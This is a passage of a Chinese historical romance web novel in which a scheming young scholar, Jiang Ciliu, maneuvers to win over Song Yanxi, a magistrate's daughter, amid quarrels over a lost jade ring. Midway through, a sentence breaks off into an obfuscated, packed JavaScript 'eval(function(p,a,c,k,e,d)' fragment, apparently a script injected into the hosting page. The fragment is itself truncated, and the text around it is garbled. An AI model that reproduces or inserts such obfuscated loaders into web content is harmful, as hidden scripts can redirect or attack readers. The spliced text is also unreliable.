翌日,江辞流天不亮便来到了江边。 凛冽的寒风吹来,江辞流拢了拢领口。 不过半盏茶的功夫,天色将明未明之时,江辞流看见了一个窈窕的身影。 宋砚昔外罩一件玄色披风,手里提着一盏琉璃宫灯,烛火映照之下她面若霜雪。 江辞流看着宋砚昔嘴唇翕动,他距她甚远,实在听不清她说了什么,只见她拧起秀气的眉毛,又转过身,只留下一个纤弱修长的背影。 那背影来去踱着步子。 一炷香之后,天际逐渐染上了淡青色。 宋砚昔终于停下了身子,一动不动地望着江面,江辞流则站在不远处,一动不动地望着她。 他看着冷风吹起她鬓角的发,看着她眉间凝了一层细密的寒霜,看着她吹灭了手中的宫灯,看着她转身离开。 江辞流俊脸无波,幽冷的黑眸倏然眯紧。直至第一抹晨光照在他身上时,他才收了目光,向着宋砚昔相反的方向离开了。 一连几日,江辞流都去了江边,每日他都能看见宋砚昔。 她或是拧起眉毛,或是鼓起双颊,或是握紧拳头,但总是留给他一个萧瑟的背影。 第七日,江辞流依旧来了,可这日只有江府的小厮,江辞流望了一圈都没有看见宋砚昔的身影。 江辞流轻轻地呵了一口气,霎时间升起一团白雾。不过片刻,他也离开了。 这是近几日他从江边离开最早的一日。 接连三日,江辞流照旧去了江边。他眼看着太阳出来得愈来愈早,江府的小厮愈来愈少,直至第四日,江边只剩下他一个人。 夜色阑珊,风吹着平江水汹涌不止,江上只余一叶扁舟。 江辞流从袖中掏出那枚玉环,玉环还带着他的体温。莹白的玉没有任何杂质,一看便知价值不菲。 江辞流收了玉环,抬脚离开了。 这几日他时常去宋府门外候着,却从未见宋砚昔出门。直至前日,他才在岳氏书铺看见宋家的小厮。 江辞流这两日便守在那间茶坊,靠窗的位置。茶博士见他来,直接为他上了茶。江辞流笑着致谢,他抬眼,透过窗子便能看见对面的书铺。 近日坊间流行着一本名叫《浔阳旧闻》的话本子,使得书铺生意兴隆,门庭若市。 片刻后,江辞流终于在书铺前看到了那个熟悉的身影。 江辞流起身。 铺子上方用端正的楷书书写“岳氏书铺”四个大字,江辞流走了进去。 掌柜的看见江辞流进来,热络道:“辞流来了。” 江辞流脸上带着疏离的笑,“掌柜的,我来寻个人。” 掌柜笑着摆了一下手,示意他随意。 江辞流装作在找书,踱步到宋砚昔那边。宋砚昔正伸手拿过一本册子,江辞流偷瞄了一眼,封皮上正写着“浔阳旧闻”四字。 江辞流垂眸看了一眼宋砚昔,日光透过窗格洒了进来,柔和的日光勾勒出宋砚昔脸部的轮廓。美人在骨,宋砚昔的眉骨与鼻梁之间有一道险峻的光影分割线,这样硬朗的骨相为她添了一丝英气,可这张脸上又偏生出了一双圆润的杏眼。不笑的时候,一双眼睛坚定认真,笑起来的话,整个眼睛弯成一道月牙,整张脸的硬朗线条被融化,只余下专注的温柔。 宋砚昔正看得格外入迷,丝毫没有发现身边走过来一个人。 江辞流收回眼,向着宋砚昔的方向走近,倏地,他加快了脚步。 书屋的过道甚窄,只可容纳一人通过,江辞流步调甚快,在宋砚昔还没做反应之前便从她身上撞了过去。 “对不住。” “你这人,看不见这里有人吗?” 二人同时发声。 宋砚昔恼怒地抬起脸,却看见一张熟悉的脸。 “是你?” “是你?” 二人异口同声。 “小娘子,对不住,在下急事在身,冲撞了小娘子,还望小娘子宽恕则个。” 宋砚昔咬着牙,上上下下打量了江辞流,只觉得看见他,她就没有好事。宋砚昔连瞪了他好几眼,她不想节外生枝,最后冷哼一声,什么话也没有说,侧身给他让了位置。 江辞流躬身抱拳,转了身。 直到他离开,宋砚昔才抬眼,又瞪了一眼他离去的方向。 收回目光之时,却瞥见地上躺了一物。 看清那物后,宋砚昔瞪圆双眼,不可置信地揉了揉自己的眼睛。 在确认自己没有眼花之后,宋砚昔快步将玉环捡了起来。 这不是她丢失的玉环吗?怎么会在这里! 宋砚昔惊喜地咧开嘴,她命人捞了一遍平江一无所获,没想到却在这里寻到了。 她有生之年竟然能找到这枚玉环。 失而复得的喜悦冲击着宋砚昔的大脑,宋砚昔双手捧着那枚玉环,蹭了蹭自己的脸。 “还好找到了。” 宋砚昔捧着玉环傻笑,若这里不是书铺,她怕是要跳起来。 宋砚昔最终还是抱着玉环转了几个圈。 宋砚昔笑着停下来,理智也重新归位,她不由想到:这玉环为什么会出现在书铺? …… 她来的时候明明没有看到的…… 想到方才发生了什么……宋砚昔连忙将手上的话本子扔到柜台上,“掌柜的,我明日再来。”说罢风风火火地离开了。 宋砚昔走出书屋,向四周望了望,江辞流不过刚走,想来走不了多远……宋砚昔果然在街上寻到了他的背影。 宋砚昔抬脚,快步走到江辞流身边,拉住他的胳膊,“你站住。” 江辞流转身,一双丹凤眼清澈又朦胧,露出迷茫的神色。 四周都是人,听见宋砚昔的声音纷纷转身。 宋砚昔这才发现四周都是熟人。 宋砚昔面上笑着,用只有两个人才能听见的声音,咬牙切齿道:“随我来,跟远一点。”说着,又瞪了他一眼。 江辞流眨了眨眼睛,甚是无辜地愣在原地。 宋砚昔走了几步,没有听到声音,又回头瞪了一眼江辞流。 江辞流摇摇头,无奈地跟上了她的脚步。 宋砚昔走过两条小巷才停下。 江辞流转过巷子便撞入宋砚昔冷冽的目光中。 “不知女郎找在下有何事?”江辞流朝她行了一礼。 宋砚昔挥了挥手,“休要在我面前装模作样,别以为我不知你心里在打什么主意。” 江辞流愣住,一双眼睛黑白分明,唇微微抿着,“女郎这是何意?我并不认得女郎,女郎何故这般挖苦我?” 宋砚昔轻嗤一声,“不认识我你第一次见我就死盯着我看?不认识我你跳江作甚?不认识我你在江里拉着我的胳膊不放手作甚?” 宋砚昔步步紧逼,直将江辞流逼到墙角。 江辞流连连摇头,剑眉微皱,“女郎所言,并非实情,实是冤枉了我。” “我冤枉你做甚?”宋砚昔瞪圆双眼,眼神咄咄逼人。 江辞流躲闪着目光,“是在下唐突,只是见女郎面熟才多瞧了两眼。” 宋砚昔听到这套说辞翻了个白眼。 “我跳江只是因为听到有人落水,这才跳江去救人。” “好心救人便救人,你拉我胳膊做甚?” “在下救人心切,见女郎没事便想离开,谁知见一枚玉环从女郎的腰间滑落,我只是想……”说着右手摸向自己的胸口,“这玉环可是……”江辞流变了脸色,伸出两手在自己胸口摸着,不可置信道:“那玉环呢?” 宋砚昔皱着眉打量着他。 江辞流倒吸一口冷气,又掏了掏自己的袖袋。 他眸中闪过惊慌。 宋砚昔问道:“你可是在找这物?”说着,右手举起了玉环。 江辞流 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“在下虽然家贫,却也知贫贱不能移的道理,女郎若是怀疑在下,报官便好,还能还在下一个清白。” 江辞流一双眼睛深邃而明亮,闪着星辰的光芒,双唇紧抿着,倔强不屈。 宋砚昔见他恼怒,不由怀疑自己是不是做得过分了。 她虽然掉入河中,但是却没有失了清白,虽然丢了玉环,但总归是寻到了……一切好像都只是恢复到了原位而已。 宋砚昔垂下眸子,干咳一声,“我又没有说是你偷的。” “可女郎分明是怀疑在下。”江辞流却是不依不饶。 宋砚昔自知理亏,没有答话。 一时无话,空气陷入尴尬。 宋砚昔失而复得,无心与江辞流计较。她将玉环收到怀中,冷着脸看着江辞流,“这玉环是我的,我收下了,你若不信,大可在平江县里问,若是有一人说此物不是我的,那我便将这东西给你。” 江辞流板着脸,“那玉环本就是我在江边寻到的,那日的江边只有你我二人,不是我的,自然是女郎的。我又没说自己不信你。” 宋砚昔瞪大眼睛,他还敢提那日的事!想到她费力拖着他的身子,两个人身上都湿漉漉的,又是肌肤相亲……宋砚昔红了脸,“不许再提此事!” 江辞流面无表情,“女郎不让提,在下不提便是了,无论如何,还要谢过女郎救命之恩。”说着朝宋砚昔拱手行礼,“一切都是在下之过,若不是在下鲁莽……”江辞流连忙收了话头。 “所幸没有给女郎造成困扰,如今那玉环也物归原主,在下悬着的心终于放下了。” 他的声音很好听,像是最柔和的日光照在身上,温暖和煦,让人心里十分熨帖。 宋砚昔不由又开始怀疑自己:她是不是将人想得太坏了? “天色不早了,在下先行一步。”说着又朝宋砚昔行了一礼,随后抬脚转身。 宋砚昔扣着自己的食指,轻轻咬住了自己的下嘴唇。 “慢着。” 江辞流停下身子,却没有回头,“女郎还有何指教?” “我还不知你的名字。” 江辞流依旧没有转身,“在下与女郎不过萍水相逢而已,贱名恐污了女郎的耳朵,不提也罢。”说着抬起脚,头也不回地走了。 宋砚昔见他这个态度,双手叉腰,凶狠道:“不说便不说,我还不愿意知道呢。”说着,又跺了一下脚。 宋砚昔雄赳赳气昂昂地出了巷子,满脑子想的都是:“她是不是真的冤枉他了?她是不是太过分了?” 所以并没有注意到,那条巷子的另一边,一身白袍的小郎君正盯着她的背影,唇角还挂着若有若无的笑。 “不必急,很快女郎便会知道我的名字了。” 5. 第四章 两日后,天才方亮,江辞流又去了一趟岳氏书铺。 从书铺里走出来,天色已经亮了起来。淡青色的天际边染上了一层粉霞,像是女郎脸上的胭脂,娇艳欲滴。粉霞之下藏着缕缕金光,只等谁的发号施令,她们便冲破天际。 岳家书铺坐落在平阳县的主道——塘古街上,眼下不过卯时,不少店家都开了门,街上小贩们卖力地吆喝着: “炊饼~方出锅,热乎的炊饼~” “包子~热乎的包子诶~” “汤饼,热乎乎的汤饼~” “胡饼,鲜香麻辣的胡饼~” 江辞流随便寻了个人少的摊子,要了一碗汤饼。 粉霞散开之际,一轮朱红色的太阳从天际慢慢地爬了上来。各色铺子也陆续开了店,有卖服饰的,有卖字画的,还有卖玉器的,甚是繁华。 整个街道流淌着车水马龙的喧嚣,行人川流不息。江辞流快步走着,似是要将这一路的喧闹抛在身后。 “郎君可要买花?” 一人叫住了江辞流。 江辞流垂眸,他向来过目不忘,一眼便瞧出了这个花贩子是他第一日来平阳时遇到的那一个。 “方摘下来的,上面还凝着露水,郎君可要一朵?”花贩子热切地介绍着,对上江辞流的脸,惊喜道:“好巧啊郎君。” 江辞流笑笑。 “郎君可住得习惯?”花贩子热切地打着招呼。 江辞流点了点头。 “那便恭喜郎君了。” 热情难却,江辞流只好挑了花,又递给花贩子几枚铜板。 花贩子却收了手,连带将篮子也收了,“说好的要送郎君,郎君却还是给了钱,这次郎君可莫要客气了。”又推开了江辞流的手。 江辞流却不肯依,二人来去推了几个回合。 “站住!”身后响起一声轻呵。 江辞流二人抬起头。 一张熟悉的脸映入眼帘,江辞流正对上那双瞪圆的双眸,恰好捕捉到了她眸子中一闪而过的惊喜。 下一秒,宋砚昔便风风火火地抬起了脚。 江辞流意识到什么,立刻将花和铜板都扔到花贩子的花篮里。 花贩子正热切地和宋砚昔挥手,见江辞流举动异常,问道:“郎君这是在做什么?” 留给他的只有一个背影。 看着江辞流慌乱的背影,宋砚昔张大了嘴巴,不理会花贩子的招手,抬脚追了上去。 一直过了三个巷子,宋砚昔才终于追上了他。 “你……你跑什么?”宋砚昔大口喘着粗气。 “女……女郎追我作甚。”江辞流许久没有跑得这般酣畅淋漓了。 “我……我不过是见你,和你打声招呼罢了。” “在下不知自己何处得罪了女郎,要让女郎这般紧追不舍。” 宋砚昔眨眨眼,“你误会了,我并没有说你得罪了我……”宋砚昔眼眸微垂,双手背到身后搓着:“我还未向你好好道一声谢。” “多谢你将我的玉环还给我。” 宋砚昔杏眸含水,清澈又明亮。 江辞流移开眸子,没什么表情,“不过是物归原主罢了。” 宋砚昔见江辞流这般冷漠,却无所适从,只觉得自己好像又得罪他了,双眸盈盈,“话虽这么说,但这玉环对我来说至关重要,我还以为此生都不会再找到了,多亏了你。” “对了,你从何处来的,我以前怎么没见过你?”不等江辞流答话,宋砚昔调皮地笑了一下,问出了她疑惑了好久的问题。 宋砚昔笑起来的时候,眼睛会弯成月牙的形状。 江辞流眼神变得冷锐,警惕地看着她。 宋砚昔连忙解释:“你莫要误会,我没有别的意思,只是想说你日后若有难处,可来宋府寻我,我定当竭尽全力助你。” 江辞流的眼神更冷了,连声音也染了一丝寒意:“在女郎的眼里,在下便是那等挟恩图报之人吗?” 宋砚昔眨眨眼,愣住,“我何时这般说了?” “若非如此,女郎说这些话又是什么意思。” “我不过是……”宋砚昔垂下头,耳后爬上两抹红晕,“我不过是想谢谢你,若不是你,我也不可能找到那枚玉环。” “在下说过,此物不过是物归原主罢了,女郎不必挂怀。” 江辞流向后看了一眼,“在下还有事,先行一步。” “等等……” 江辞流停下脚步。 宋砚昔走到他面前,迎着江辞流深沉冷漠的目光,鼓起勇气:“此前是我不对,我不该随意冤枉你。我想助你,也是因为我心有内疚。” 说完,宋砚昔便垂下头,双手垂在腿侧,不安地搓着袖口。 江辞流目不转睛地盯着宋砚昔。 她长长的睫毛微微翘着,鼻子小巧又精致,樱唇红润饱满,像是最鲜艳的果子,娇艳欲滴。 江辞流没说话,宋砚昔疑惑地抬起头。 江辞流慌乱地转过了脸,轻咳一声,“我从未放在心上,若不是我唐突女郎,女郎也不会误会我,女郎实在没有必要道歉。” 江辞流比宋砚昔高了一个头,与她说话的时候,眉目低垂,一双眼睛盯着她,安静又专注。他嘴角常常挂着笑,气质柔和温润,一双眸子明亮通透,如冷月一般。 宋砚昔颊边染起红霞,却还是看着他,“有道是不打不相识,既如此,你我便算相识了,你若是有什么难处,尽管来宋府寻我,只要是在平阳县,我都可以尽力帮你。” “不过不可为非作歹,违反律法。”宋砚昔连忙补充。 江辞流被她逗 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宋砚昔没有发现他表情的变化,只笑着朝他挥挥手,而后走开了。 直至宋砚昔彻底没了身影,他才收了笑,双眼没了方才的神采,愣愣地盯着宋砚昔离去的方向,无助又茫然。 “都会见的吗?” 江辞流轻扯了一下嘴角,朱门一掩,无论何人都被挡了去。每一个不见的理由都是冠冕堂皇、情真意切,无可奈何。 当年京城拐卖孩童一案,涉事的五名大臣除了为首的宋怀沙死在狱中,其余四人均被贬谪,而现如今,其他三人都又回到了京城,只有宋凛还在平阳县,数十年如一日,偏安一隅。 纵是见到他们又如何?能从低处爬到高处的人,他再清楚不过了。良知对于他们来说,是最不需要的东西。 他想做的事情,最有可能帮助他的便是宋凛。宋凛贤名在外,无论这贤名是真的还是假的,能助他顺理成章地回到京城,回到长平侯府才是真的。 想到长平侯府,江辞流的眸子瞬间阴鸷。 他当然可以再赌一次,赌宋知县的良知,这一次得胜的概率许是要比上一次大上许多。 但又出现了变数。 他想到了那日在面摊上陌生人说的话。 教他读书的老师曾说过,他天赋异禀,学什么都快,他自己也是这么认为的。 他向来果决,机会已经是苍天的馈赠,降临在他身上时,他会毫不犹豫牢牢地抓住。 江辞流轻扯嘴角,既然有全然的希望,他又何必去赌? “是你自己要帮我的。” “那我便不客气了。” 宋家女郎。 6. 第五章 宋砚昔脚步轻快地来到了岳氏书铺。 岳掌柜见是宋砚昔来了,笑着打招呼:“宋女郎今日有什么喜事吗?” 宋砚昔平日脸上便挂着笑,今日的笑意更深。 宋砚昔摇摇头,“岳掌柜,上次的话本子我尚未看完。” “宋女郎来得巧,今日又送来了下一回。” 宋砚昔眼睛亮了,只觉得今日一切都很美妙,“竟是这般巧。” 岳掌柜笑得神秘,“是啊,女郎赶得这般巧,想是与浔阳小生有缘呢。” 浔阳小生便是《浔阳旧闻》的作者。 宋砚昔只觉得岳掌柜今日格外热情,又朝他笑笑。 不过岳掌柜说得不错,她与那浔阳小生倒真是有缘。前几日她丢失了舒夫人留给她的玉环,那是舒夫人离世前亲手交给她的,她最珍视的遗物。她闷闷不乐了好几日,直至府中小厮帮她寻到了那本《浔阳旧闻》。书中主人公虽然一生颠沛流离,但不改初心,只专注自身修炼,最后成为隐士高人。宋砚昔被主人公的精神打动,这才看开,平静地接受了失去。 不止如此。 宋砚昔觉得浔阳小生的文风十分熟悉,像极了此前风靡一时的桃花小生。桃花小生凭借一本《桃源记》为众人所识。 一年多前,宋砚昔的母亲舒夫人去世了,又逢兄长宋承殊离去,她颓靡了好一阵。宋砚昔整日郁郁寡欢,宋知县多番安慰也于事无补。无奈之下,宋知县只命人送了一筐书来,其中便有《桃源记》。 最终宋砚昔靠着一本“不入流”的话本子熬过了那段最黑暗的时光。 不过两人只是文风相似,未必就是一个人,或许是浔阳小生刻意模仿桃花小生也未可知。宋砚昔对此不感兴趣,便没有搭茬。 付过钱宋砚昔便离开了。 “宋女郎,宋女郎。” 宋砚昔听到熟悉的声音,转过头,看见卖花的小贩急忙向自己走来,“出了何事?” 小贩笑着摇摇头,“只是想拜托女郎一件事。” “何事?” 小贩掏出铜板,“将这钱转交给方才那位郎君。” 宋砚昔疑惑道:“这是……” “这是白日在我身边那位小郎君的,听闻女郎与他有亲,还请劳烦女郎帮我把这钱还给他。” “白日的郎君?”宋砚昔皱着眉,“可是那个比我高一头,白衣的瘦弱郎君?”宋砚昔比划着。 花贩笑笑,“就是那个俊俏的郎君。” “他何时与我家有亲了?”宋砚昔睁大眸子。 “这……上一次女郎在我这边买了花,他自己说他与县令家有亲的。” 宋砚昔低头,想到第一次遇见他那日之后,她确实是买了花的,宋砚昔似是想起什么,“他怎么说的?” “他只是说他来投奔亲友,听亲友提起他家与宋府有亲,特去拜访。” 胡说八道! “我怎么不知我家与他有何渊源!他又拜访到何处去了!” 花贩头一次见宋砚昔这么生气,“他看着与女郎同岁,想是两边断了联系,多年未见,不认识女郎也不是什么奇事。” 花贩不知其中的弯弯绕绕,宋砚昔也不解释,只是一双眼睛透着寒光。 小贩想着二人说过的话,惊呼道:“但……却是我将女郎的身份说了出去。” 宋砚昔恢复冷静,“你是说,上元节那日,他就已经知道了我是谁?” 花贩子点点头,“在他买花时,我提到了女郎。”花贩见宋砚昔一脸疑惑,将那日二人的对话和盘托出。 宋砚昔终于意识到早在二人第一次见面时,他便已经知晓了她的身份。既如此,他说的“不知女郎家在何处”亦是诓骗她的。他定是一早就打听了宋府在何处,那日便是冲着宋府去的,他却对她说她说不知道。 他终究还是骗了她! 花贩见宋砚昔面色不虞,也在不敢说请托的话,又沿街叫卖去了。 宋砚昔从怀中掏出那枚玉环,手心的白玉环温润剔透,似乎还带着他的体温,宋砚昔却觉得一股寒意涌上心头。 宋砚昔咬牙切齿,平生从未有人将她骗得团团转! 她一定要给他一个教训。 * 江辞流知道自己的奸计得逞,宋砚昔终是上了钩,所以这两日他并不急着去宋府拜访。 因为他不急,急得便是旁人。 想到那日宋砚昔绯红的脸庞,江辞流忍不住勾起嘴角。 江辞流将自己关在客栈整整七日,《浔阳旧闻》总算是进入到了收尾阶段。他本想着写完再去宋府拜访,但这两日他苦思冥想也无从落笔,若由着他写,恐怕要耗费十天半个月,他可等不了这么久的时间。 宋砚昔若是忘记了他,他便功亏一篑了。 这日他收拾齐整,镜中的他面颊略微凹了进去。这几日笔耕不辍,从天不亮写到半夜,身形又瘦了几分,倒是又添了几分病弱的模样。 这样最好。 来到宋府,江辞流轻轻扣了几下宋府的大门。 门房开了门,江辞流还没说话,门房便认出了他,“郎君来了,还请进。”说着侧着身,伸出手做出“请”的姿势。 江辞流没想到自己这般轻而易举地进到宋府。 江辞流脸上挂着浅浅的笑,“宋知县可是回来了?” 门房没有说话,只是看了江辞流一眼。 江辞流很识相地闭了嘴。 走了几步,又有小厮迎来。江辞流跟着小厮穿过回廊,不动声色地打量着宋府的布局。穿过门廊,宋府的前院是一个花园,眼下正值冬季,有几棵红梅倒是开着,略一扫眼,嫣红满树,傲然绽放。江辞流收了眼,他没有心情欣赏美景,他在想稍后要怎么样才能不动声色地提到宋砚昔。 宋砚昔落水一事,知县肯定是知道的。怕是连那一堆瞎话也是宋知县提出来的,若是这样的话,他要怎样才能找到一个合适的借口,让宋县令将宋砚昔许给他呢? 江辞流只觉得这事十分棘手。 不过片刻,二人便到了。 屋内有两排书架,上面陈列着各色书籍,江辞流一扫而过,却扫到一本《桃源记》。 江辞流不可置信地望了过去,眨眨眼,视线依旧清晰,果真是《桃源记》。 这下却出乎江辞流的意料了。 江辞流依依不舍地转了视线,书架前方又置了一张桌案,案上摆着文房四宝,墙上挂着一幅画,一幅字。江辞流瞟了几眼,却还是未猜出那两幅字画是谁所做。 江辞流知道,这便是宋知县的书房了。 “郎君请便,知县稍后便到。” 江辞流的脸上依旧挂着淡淡的笑,点点头。 小厮离开之后,又有侍女推开门。 江辞流打量了一下侍女,侍女却是一丝不苟地上了茶,连看都未看他一眼。 七品县令家的侍女竟然比侯府的侍女还要懂规矩,江辞流十分意外。 江辞流抬手,饮下一盏茶。 直至一盏茶见底,宋知县也没有到。 江辞流依旧挺直腰板坐在椅子上。 片刻后,侍女来为他添茶,照旧一句话都未说。 江辞流看了她一眼。 又过了一盏茶的功夫,还是没有人来。 屋内燃着火盆,日头已升起,丝丝缕缕的日光透了进来,平添了一丝燥热。 不知又过了多久,侍女又来添茶,可杯中的茶却是满的。 侍女默不作声地为江辞流新换了一杯热茶。 江辞流袖下的手轻攥成拳。 流云阁,宋砚昔的院子。 “他可问你什么了?”宋砚昔板着一张脸问道。 霜降拧着眉头,“不曾,我每去为他添茶时,他只是淡淡扫过一眼,旁的什么也没有说,这次却是连茶都不吃了。” 宋砚昔冷哼一声,“不知便不吃,不问便不问,你记得为他添茶便是了,我就不信了,他今日便不张嘴了!” 几杯热茶下肚,就算他再如何镇定自若,也该去如厕才是。 想到江辞流将她蒙在鼓里,像耍猴一般糊弄她,宋砚昔便气不打一出来,她也要煞煞他的威风才是。 眼见日头中上,江辞流知道自己已经枯坐了一个上午。 那个侍女依旧隔着一段时间为他来添茶,甚是守时。 江辞流心中冷哼,他自然猜到了这些事情都是宋砚昔吩咐的。 直到这时他才真的动摇了:难不成宋知县真不在府上? 若是在的话,怎会允许宋砚昔这般戏弄他? 门开了,霜降又端着茶进来了。 江辞流张了嘴,“宋知县可在府上?” 霜降终于看向他,“知县稍后便到。” 江辞流依旧笑着点了点头。 霜降奇怪地看了他一眼。 霜降回到流云阁。 “如何如何?” 听见开门声,宋砚昔连忙追问。她也十分不好过,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋砚昔皱着眉,“你在胡说什么,我家门槛如何高了,你怎么能这般说,你给我将话说清楚。” 江辞流方要张嘴,霜降却进来了。 宋砚昔见霜降频频朝她使眼色,知道其中有事,便对江辞流道:“家中有些急事,还请阁下稍候片刻。” 江辞流嘴唇紧闭,眸带三分寒意,“我出来甚久,也该回去了,既然县令不想见我,我告退便是。” “我爹爹并未在府上。” “宋知县未在府上,女郎还邀我拜访,岂不是故意戏耍我?” 宋砚昔语噎,方要解释,一旁的霜降却拦住了宋砚昔。 “女郎。”霜降皱着眉,眼中满是焦急。 江辞流不理会主仆二人的对话,冷着脸行了一礼,“告辞。” 宋砚昔看他利落的转了身,白袍掀起凛冽的风,透着一丝决绝。 江辞流冷着脸出了宋府,照旧守在街角。 约莫一刻钟的功夫,宋府的门又开了,出来的人依旧是那个华服老者。 门房脸上依旧带着谄媚的笑。 江辞流眸子幽深阴鸷。 说什么不在,到底是看不起他罢了,如今连她也来戏耍他。 江辞流咬碎银牙,总有一天他要挨个讨回公道。 好不容易打发走张县尉请来的媒人,宋砚昔只觉得自己精疲力尽。 张县尉与与宋凛一齐在衙门共事,纵然宋砚昔不情愿,也只能派家中的管家客气地将人打发了。 为了拒绝媒人,宋砚昔一直对外称病。想来对方会因为她身体的缘故断了念想。 宋砚昔喝了一口茶,稳定了心绪,想起江辞流说的“拒之门外”,又命人将那门房叫了来。 “女郎有何指教?” “我且问你,今日来府上拜访的郎君,他此前可来过?” “来过的,上元节那日来拜访知县。” 宋砚昔没等他话说完,又问,“你是如何答的?” 门房愣愣道:“小人照实回答,只说知县不在,近些日子都不在。” 这些都是实话,这下宋砚昔却有些摸不清了。 他那番话分明是极其无理,他又是如何镇定自若理直气壮说出口的? 宋砚昔向来是个藏不住事的,她不知江辞流有什么误会,无论如何,她一定要问个明白。 7. 第六章 宋砚昔在街上闲逛几日都未寻到江辞流。 此前只觉得平阳甚小,走到何处都是熟人,可到现在才发现平阳真大,她真不知自己该去何处找他。 宋砚昔不由想:难不成她真错怪了他? 不对啊,他知道她的身份,自该去宋府归还此物。 越想越气,越气越想,宋砚昔恨不得将整个平阳县也翻上一遍,找到江辞流,然后与他酣畅淋漓地对峙一番。 这日,宋砚昔又来到了岳氏书铺。 掌柜的抬起头,这次却没起身,只是笑道:“宋女郎来了。” 宋砚昔笑着颔首。 掌柜的好像终于忙完了,起身,“某有一个好消息告诉宋女郎。” 宋砚昔不明所以,挑了一下眉毛。 “《浔阳旧闻》已经完稿。” 宋砚昔惊喜道:“竟是这般快。” 宋砚昔付了钱,方要离开,掌柜的又叫住了她。 “掌柜的还有何事?” 掌柜故作神秘,“宋女郎真的不好奇浔阳小生是何人?” 宋砚昔想了想,她怀疑浔阳小生就是桃花小生。 可就算知道二人是同一个人又有何用? 宋砚昔摇摇头,“好奇无用,看文便好。” 掌柜的听到这话点点头,没有再说旁的。 宋砚昔离开后,江辞流从内里走了出来。 掌柜的见江辞流手中空无一物,问道:“辞流可是要离去了?” 江辞流正张望着门口。 掌柜的见江辞流失神,也顺着他的目光望去,“辞流在看什么?” 江辞流回过神来,轻笑一声,“无事,在下未寻到那本旧作,想来到底是失传了。” 掌柜的说什么他已经听不见了,江辞流垂首,食指轻轻敲着桌案,一副若有所思的模样。 江辞流走在街上,依旧在想方才的事。 当他看到宋砚昔也看他写的话本子的时候,他心中升起异样的感觉,惊喜又夹杂着一丝惶恐。他不知道宋砚昔会不会因此对他改观,不过他想他或许可以利用此事。 他三番两次从岳掌柜那边敲打宋砚昔,可是毫无进展,宋砚昔对他没有丝毫的兴趣。 如今宋砚昔已经识破了他的阴谋,必然对他心生厌恶。他又该如何俘获她的心,顺利入赘宋府呢? 两次访宋府,知县都不愿见他,他不能坐以待毙,总该想个旁的法子才是。 “站住!” 耳边又响起熟悉的命令,江辞流听出这是宋砚昔的声音。 江辞流心底仿佛有什么东西裂开了,带来奇异的触感,却又转瞬即逝。 江辞流故作惊恐地转身。 看见江辞流诧异又惶恐的表情,宋砚昔这才意识到自己或许过于激动了,轻咳一声,放柔声音,“这几日为何不来寻我?” 江辞流瞳仁幽深,眼中泛出一丝委屈,只看了宋砚昔一眼便垂下眸子,“我知宋女郎厌恶我,又何苦去府上讨女郎的嫌。” 仿佛是乌云遮住了日光,他语气沉沉,宋砚昔也随着他的声线沉默了一下,语气又缓了几分,“你知道我讨厌你便好,但再讨厌,你也要跟我将话说清楚。” “还有什么话?”江辞流抬眸。 宋砚昔瞪圆眼睛,“我问你,自你见我第一眼便知晓了我是谁,对不对?” 宋砚昔的目光咄咄逼人,看着那双星光熠熠的眸子,江辞流根本移不开自己的眼睛。 “是。” 宋砚昔冷下脸,“既然知道,为何不将那玉环还到宋府?” 她的眼睛实在好看,因为笑起来会弯成月牙的形状,可是此刻,她的眼神更像是一把弯刀,敏锐又锋利。 江辞流首先移开目光,“在下说过。” 宋砚昔知他想蒙混过关,语气又凉了一分,“你说过什么?” 江辞流干脆别开脸。 宋砚昔转到江辞流身前,对上江辞流的视线,固执道:“你到底说过什么?” 江辞流心生厌烦,眸光转暗,语气却一如往日那般温和,“在下向来无足轻重,不管说什么,女郎都会忘记。” 这话落到宋砚昔的耳里便添了一丝委屈,好似自己伤了他一般。 她又做错什么了? 不对啊。 “距离你我二人相见已过七日,我忘了我们之间的话,不是很正常的一件事吗?难不成,你还记得?” “女郎那日咄咄逼人,在下如何能不记得?” 江辞流向前走了一步,探下头。 二人的脸只隔着一个拳头的距离,宋砚昔不由退后一步。 宋砚昔怀疑自己是否耳背了,不然她怎么会听出一股幽怨之感?每人一日要说多少话,她又不可能全都记得,忘记了不是很正常吗?他的语气倒像是她有负于他一样。 “那你倒是说,那日你我二人说了什么?” “我不知自己何时得罪了宋女郎,才会说出这样的话。” …… “宋知县未在府上,女郎还邀请在下拜访,岂不是故意戏耍我?” 他果真将那日二人的话复述一遍。 宋砚昔:“……” 从旁人嘴里听到自己的话,宋砚昔只觉得十分不自在,伸出手来阻止了江辞流的滔滔不绝。 江辞流的眸子又幽怨了几分。 再看下去,宋砚昔怕是会成为话本子里的负心汉。宋砚昔低下头,轻哼一声,“知道你记得了。” 二人陷入沉默。 “在下知道女郎还在介怀初遇女郎时的无礼,可在下敢对天起誓,在下真是觉得女郎十分面熟才会多看了几眼女郎。” 这话说的…… “我并非介意这件事情。” 江辞流一双眼睛重现笑意,“能得女郎谅解,是在下荣幸。” 气氛有些诡异,宋砚昔只觉得有些无所适从。 江辞流似是瞧出了她的窘迫,温言道:“既然误会解除,在下身上还有要事,先行一步。” 这下宋砚昔终于觉察出不对劲来,问题尚未解决,他走什么? 宋砚昔连忙道:“门房已将事情都告诉我了。” 江辞流敛了笑意。 “此中或有误会,我爹爹当真不在家,门房并未说谎。” 江辞流没有说话。 知他还在误会,宋砚昔心下焦急,语气快了几分,“就算如此,你捡到了我的东西,还到宋府,门房也断然不会将你拒之门外的。” “女郎的意思是,若是我亲自拜访知县,定然会被拒之门外,可若是我手里拿着女郎的东西再去拜访,知县定然不会拒绝了?”江辞流的眼神里满是嘲讽。 宋砚昔见他这般不客气,皱着眉,“你为何一直颠倒黑白?” “女郎才是喜欢倒打一耙。” 江辞流的话越来越不客气,宋砚昔也带了火气,“你怎么污蔑人?” “难道不是宋女郎在强词夺理吗?” 宋砚昔被怼得哑口无言。 “我知道自己身份寒微,宋府门第甚高,想来不是能随便进的,所以也不敢有什么旁的心思。既然已经物归原主,我问心无愧,此后与女郎也不会有什么纠葛,女郎放心便是。” 说完,扔下瞪大眼睛的宋砚昔离去了。 宋砚昔动了动手,到底没有抬手。 